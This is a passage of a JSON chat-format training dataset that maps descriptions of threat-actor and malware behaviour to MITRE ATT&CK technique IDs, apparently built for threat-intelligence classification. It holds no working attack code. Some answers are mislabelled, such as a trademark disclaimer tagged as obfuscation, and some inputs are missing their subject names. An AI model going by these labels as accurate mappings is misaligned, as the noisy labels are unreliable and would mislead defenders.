                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tropic Trooper has detected a target system’s OS version."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Inception used chains of compromised routers to proxy C2 communications between them and cloud service providers."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "netsh can be used to set up a proxy tunnel to allow remote host access to an infected host."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "xCaon has leveraged native OS function calls to retrieve  victim's network adapter's  information using GetAdapterInfo() API."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DustySky created folders in temp directories to host collected files before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bankshot collects files from the local system."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As we can see, the following information is present within this configuration:  Remote Command and Control (C2) server Remote port Sleep timer  Reaver continues to collect various information from the victim machine, including the following:  CPU speed Computer name Username IP Address Microsoft Windows version Physical and virtual memory information  The malware proceeds to communicate with the remote server via HTTP GET and POST requests"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowerShower has sent HTTP GET and POST requests to C2 servers to send information and receive instructions."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Orangeworm has used HTTP for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CrackMapExec can enumerate the domain user accounts on a targeted system."
            },
            {
                "role": "assistant",
                "content": "T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once the threat actor mapped the network and obtained credentials (through net use), they began to move laterally. The threat actor relied on WMI and PsExec to move laterally and install their tools across multiple assets"
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The script will first attempt to communicate with the C2 server using HTTPS (HTTP if unsuccessful), which involves GET requests using the session ID within the request’s cookie in the PHPSESSID field, as seen in the example GET request:       GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246Host: www.rdppath[.]comCookie: PHPSESSID=<c2 provided session id>Connection: Keep-Alive     If the payload is unable to reach the C2 via HTTPS/HTTP, the payload yet again falls back to DNS tunneling"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol', 'T1041 - Exfiltration Over C2 Channel', 'T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SideTwist can embed C2 responses in the source code of a fake Flickr webpage."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat Group-3390 has exploited CVE-2018-0798 in Equation Editor."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Controlled by Micropsia operators, the malware is able to register to an event of USB volume insertion to detect new connected USB flash drives. Once an event is triggered, Micropsia executes an RAR tool to recursively archive files based on a predefined list of file extensions (*.xls, *.xlsx, *.csv, *.odt, *.doc, *.docx, *.ppt, *.pptx, *.pdf, *.mdb, *.accdb, *.accde, *.txt"
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility', 'T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses a custom DNS tunneling protocol for C2."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Briba uses rundll32 within Registry Run Keys / Startup Folder entries to execute malicious DLLs."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly has used various forms of spearphishing in attempts to get users to open malicious attachments."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "However, the attacks different stages were hosted on a variety of free sites such as Mailimg, Github, Pastebin, dev-point.co, a.pomf.cat, and upload.cat"
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Like other ransomware threats, Nefilim encrypts files on the target system using AES-128 and adds NEFILIM, NEPHILIM, MERIN, TRAPGET, MEFILIN, TELEGRAM, SIGARETA, or OFFWHITE  extension to encrypted files. It uses an RSA-2048 public key embedded in the ransomware executable to encrypt the AES encryption key. It also adds a file that includes the ransom note to the root directory, such as C:\\NEFILIM-DECRYPT.txt."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ryuk attempts to encrypt all mounted drives and hosts that have Address Resolution Protocol (ARP) entries (IP addresses) and it enumerates all mounted drives by calling GetLogicalDrives. For each mounted drive, Ryuk calls GetDriveTypeW to determine the drive’s type. To retrieve IP addresses that have ARP entries, Ryuk calls GetIpNetTable. It iterates through all entries and then tries to enumerate files and folders on the remote host and encrypt the files"
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The resulting Interop.SHDocVw .NET assembly is packed with SmartAssembly and further obfuscated using Confuser v1.9.0.0"
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing', 'T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sliver can use AES-GCM-256 to encrypt a session key for C2 message exchange."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can sleep for a specific time and be set to communicate at specific intervals."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TAINTEDSCRIBE can randomly pick one of five hard-coded IP addresses for C2 communication; if one of the IP fails, it will wait 60 seconds and then try another IP address."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "injects its malware variant, , into the cmd.exe process."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The image is downloaded directly, and the shellcode is loaded and executed in memory"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter', 'T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Magic Hound has modified Registry settings for security tools."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses a copy of tor2web proxy for HTTPS communications."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rifdoor has been executed from malicious Excel or Word documents containing macros."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some  malware uses a list of ordered port numbers to choose a port for C2 traffic, which includes commonly used ports such as 443, 53, 80, 25, and 8080."
            },
            {
                "role": "assistant",
                "content": "T1043 - Commonly Used Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Olympic Destroyer uses PsExec to interact with the \"ADMIN$\" network share to execute commands on remote systems."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has attempted to get users to launch a malicious Microsoft Word attachment delivered via a spearphishing email."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Siloscape impersonates the main thread of \"CExecSvc.exe\" by calling \"NtImpersonateThread\"."
            },
            {
                "role": "assistant",
                "content": "T1134.001 - Access Token Manipulation: Token Impersonation/Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "All third-party trademarks referenced by Cofense whether in logo form, name form or product form, or otherwise, remain the property of their respective holders, and use of these trademarks in no way indicates any relationship between Cofense and the holders of the trademarks"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can log keystrokes."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turla has used compromised servers as infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In November 2019, when MegaCortex v4 appeared, there was a rollback of sorts, bringing the Base64 key back into play and using it to decrypt the malware’s components. The implementation was not the same as previous versions, with that Base64 key embedded into the binary and then passed to a decrypting function instead of passing it as an argument to the command-line"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Linux/Ebury is noteworthy for multiple reasons. Although this is something common under the Windows operating system, it is the first time we’ve seen a malicious library being used on POSIX systems. Linux/Ebury also uses innovative tricks to hook functions, discover the address space of the ELF executable that loaded the library and apply patches to its code at runtime. We believe that before using the external library to hook into OpenSSH processes, the author of Linux/Ebury used a patch to modify the source code of OpenSSH, thereby adding “new functionalities” to the software. The first variants found were modified binaries left on the disk. We have also seen usage of the rpm commands to remove signature from the original OpenSSH packages (openssh-server, openssh-clients) and modify the RPM database to update the file hashes with those of the malicious files. This will make the output of rpm --verify openssh-servers report the files as unmodified. However, the output from rpm -qi openssh-servers will clearly show the package is missing its signatures"
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "StrongPity can determine if a user is logged in by checking to see if explorer.exe is running."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "zwShell can obtain the name of the logged-in user on the victim."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT19 used three different techniques to attempt to compromise targets. Toward the end of May, APT19 switched to using macro-enabled Microsoft Excel (XLSM) documents. In the most recent versions, APT19 added an application whitelisting bypass to the XLSM documents"
            },
            {
                "role": "assistant",
                "content": "T1218.010 - Signed Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bumblebee can deobfuscate C2 server responses and unpack its code on targeted hosts."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "contains the takeScreenShot (along with startTakeScreenShot and stopTakeScreenShot) functions to take screenshots using the CGGetActiveDisplayList, CGDisplayCreateImage, and NSImage:initWithCGImage methods."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising a victim, Poseidon Group discovers all running services."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Melcoz has gained execution through victims opening malicious links."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Deep Panda uses net.exe to connect to network shares using \"net use\" commands with compromised credentials."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly has acquired VPS infrastructure for use in malicious campaigns."
            },
            {
                "role": "assistant",
                "content": "T1583.003 - Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN7 uses CARBANAK as a post-exploitation tool in later phases of an intrusion to cement their foothold in a network and maintain access, frequently using the video command to monitor users and learn about the victim network, as well as the tunnel command to proxy connections into isolated portions of the victim environment"
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy', 'T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowerSploit has modules such as \"Get-NetDomainTrust\" and \"Get-NetForestTrust\" to enumerate domain and forest trusts."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "dsquery can be used to gather information on domain trusts with \"dsquery * -filter \"(objectClass=trustedDomain)\" -attr *\"."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobian RAT has a feature to perform keylogging on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SysUpdate can determine whether a system has a 32 bit or 64 bit architecture."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Towards the end of July, we observed an intrusion that began with IcedID malware and ended in XingLocker ransomware, a Mountlocker variant. XingLocker made its first appearance in early May of this year. The new group was featured in the AstroLocker ransomware blog, and it has been very active since then."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SILENTTRINITY can modify registry keys, including to enable or disable Remote Desktop Protocol (RDP)."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RDAT can communicate with the C2 via base32-encoded subdomains."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The file reflectively injects a ransomware DLL into the memory of the legitimate running process explorer.exe"
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some Felismus samples use a custom method for C2 traffic that utilizes Base64."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pupy can migrate into another process using reflective DLL injection."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Central Command network, including computers both in the headquarters and in the combat zones.The threat involved into this incident is referred as Agent.btz. There is even a clash with another threat that is also detected as Agent.btz by another vendor – but that's a totally different threat with different functionality. All these builds exhibit common functionality.Agent.btz is a DLL file. Once a removable disk is connected to a computer infected with Agent.btz, the active malware will detect a newly recognized drive. It will drop its copy on it and it will create autorun.inf file with an instruction to run that file. Agent.btz file is not packed. Thus, it’s not known what kind of code could have been injected into the browser process. Agent.btz locates this resource by looking for a marker 0xAA45F6F9 in its memory map.File wmcache.nldThe second spawned thread will wait for 10 seconds. The collected network details are also saved into the log file.File winview.ocxThe second spawned thread will log threat activity into the file %system32%\\winview.ocx.This file is also encrypted with the same XOR mask. Note: an attempt to run a valid thumb.db file, which is an OLE-type container has no effect.Files thumb.dd and mssysmgr.ocxAgent.btz is capable to create a binary file thumb.dd on a newly connected drive"
            },
            {
                "role": "assistant",
                "content": "T1560.003 - Archive via Custom Method"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chaes has collected the username and UID from the infected machine."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 12: RSA public key 1    Figure 13: RSA public key 2    Figure 14: AES encryption parameters After encryption, the cipher text to be sent over C2 is Base64 encoded"
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT19 launched an HTTP malware variant and a Port 22 malware variant using a legitimate executable that loaded the malicious DLL."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kwampirs collects a list of accounts with the command \"net users\"."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Companies in multiple sectors are targeted in this campaign, including those operating in the automotive, pharmaceutical, and engineering sector, as well as managed service providers (MSPs"
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT34 can download remote files onto victims."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The discovery modules used with  can collect information on accounts and permissions."
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MegaCortex has used \"rundll32.exe\" to load a DLL for file encryption."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FALLCHILL can collect operating system (OS) version information, processor information, system name, and information about installed disks from the victim."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT-C-36 has prompted victims to accept macros in order to execute the subsequent payload."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
